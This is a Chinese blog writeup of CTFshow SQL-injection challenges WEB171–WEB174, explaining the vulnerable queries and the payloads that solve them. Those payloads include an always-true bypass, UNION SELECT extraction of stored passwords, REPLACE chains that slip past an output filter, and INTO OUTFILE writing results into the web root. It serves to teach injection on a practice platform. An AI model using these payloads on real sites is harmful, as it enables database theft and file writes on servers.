CTF_show Web SQL注入writeup WEB171-WEB180

CTFSHOW

CTFSHOW web SQL注入WriteUP Part1

前面做累了做点简单的玩玩,小白白做的菜,或许解释的不对,大佬轻喷QAQ

WEB171

第一道题,很简单,基本上就是考的入门基础

1
2
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

给了查询代码,是经典的sql查询语句

这里简单拆一下

1
2
3
4
5
select username,password        --选中username,password两行
from user                       --从user表中
where username != 'flag'        --不选中username项为flag的表
and id = '".$_GET['id']."'      --id为(这里'".$_GET['id']."'是传入参数的点)
limit 1;                        --限制只能查询一行

很明显这里是有问题的,如果给ID传个' -- 会怎么样呢?

1
and id = '"'-- "' limit 1;

这里注释直接把后面的语句给干掉了,我们可以直接从这里入手,直接传一个万能密码1' or 1=1 -- 直接把所有表爆出来了

1
2
3
4
5
6
/**
⚠注意:这里结尾用的“-- ”后面有个空格。
虽然sql中 `--` 是注释的意思,但是至少在MYSQL中,这种注释后直接跟语句是不合法的。
此外,某些浏览器可能会吃掉最后的空格,
如果遇到这种情况,可以用+或者%20等等替换掉这个空格,也可以直接把`--+`这个语句换成%23(url编码:#)
**/

可是前面有一个username !='flag'语句,为什么会直接把所有表出了呢?

其实我们传进去这个以后,sql语句相当于变成了这两句

1
2
3
select username,password from user where username !='flag' and id = '"1' 
or 1=1 
--+ "' limit 1;

前面写的一整个语句都没用了,因为我们给了或的条件,整个表等价成了这样

1
where username != 'flag' and id = '"1' (or 1=1)

and的优先级比较高,所以先判断username != 'flag' and id = '"1'

1=1被单独判断了,而且它是恒真的,所以直接打出了所有的表。

WEB172

1
2
3
4
//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

现在不能用上一道的payload了,因为直接输出会把咱们的结果吃掉

注意到这里对传入参数没有任何过滤,只是过滤了输出值,于是我们可以使用UNION联合查询来绕过

1
'1'UNION SELECT 1,password from ctfshow_user2 --+

这里因为flag存在password里了,只需要获取password中的值就可以了

这里补充一些简单函数

1
2
3
4
database() -- 数据库名
group_concat(table_name) --表名
group_concat(column_name)--字段名
group_concat(xxxx字段名) --获取字段值

WEB173

1
2
3
4
//检查结果是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }   

这里payload同上,因为flag的格式是ctfshow{},所以并不影响做题(doge)

WEB174

首先吐槽一下,这道题刚打开上栏里的无过滤注入4打开是select-no-waf-3.php,但是真正的题是select-no-waf-4.php,给我折腾了一圈

1
2
3
4
5
//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
      

这里把0-9都给干掉了,怎么办呢?

有两种方法,第一种是替换,第二种是把结果输出一个文件,从而绕过过滤

第一种

payload

1
https://69860b52-d551-457b-99cc-737488724347.challenge.ctf.show/api/v4.php?id=-1%27%20UNION%20SELECT%20REPLACE(username,%27f%27,%27G%27),%20REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,%279%27,%27nine%27),%278%27,%27eight%27),%277%27,%27seven%27),%276%27,%27six%27),%275%27,%27five%27),%274%27,%27four%27),%273%27,%27three%27),%272%27,%27two%27),%271%27,%27one%27),%270%27,%27zero%27)%20from%20ctfshow_user4%20--+

这里只能用js里面的api来看,直接用前端的会提示获取异常

得到

1
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"username":"admin","password":"admin"},{"username":"userAUTO","password":"passwordAUTO"},{"username":"Glag","password":"ctfshow{fefourthreebonethreenine-ceightoned-foureightaf-eightsevenfd-esevenonefoureightcaseventwocfourfive}"}]}

手动替换或者写个python脚本可以得到最终flag

第二种

SQL中,into outputfile可以输出文件,

1
UNION SELECT username,password from ctfshow_user4 into outfile '/var/www/html/1.txt' -- 

发现不可以用*代替username,password,不知道为什么,带佬可以解释一下

直接访问1.txt直接得到flag

Licensed under CC BY-NC-SA 4.0
最后更新于 May 30, 2025 17:08 CST
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计

萌ICP备20249008号 本站支持IPv6访问